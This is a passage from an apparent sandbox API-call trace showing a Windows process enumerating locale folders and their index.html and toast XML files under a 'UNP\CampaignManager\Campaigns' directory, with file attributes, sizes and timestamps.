ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0183.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.588] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.588] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.588] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.588] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.588] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.588] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.588] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.589] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.589] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ZA", cAlternateFileName="")) returned 1 [0183.589] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.589] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.590] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.590] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.590] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.590] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.590] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.591] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.591] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.591] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.591] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-AR", cAlternateFileName="")) returned 1 [0183.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.592] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.593] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.593] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.593] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.593] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.593] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.594] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.594] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.595] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.595] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CL", cAlternateFileName="")) returned 1 [0183.595] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.596] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.596] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.596] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.596] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.596] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.597] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.597] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.597] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.597] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CO", cAlternateFileName="")) returned 1 [0183.598] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.598] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.598] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.599] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.599] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.599] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.599] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.599] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.600] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0183.600] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.600] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.601] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.601] FindNextFileW (in: hFindFile=0x484b18, 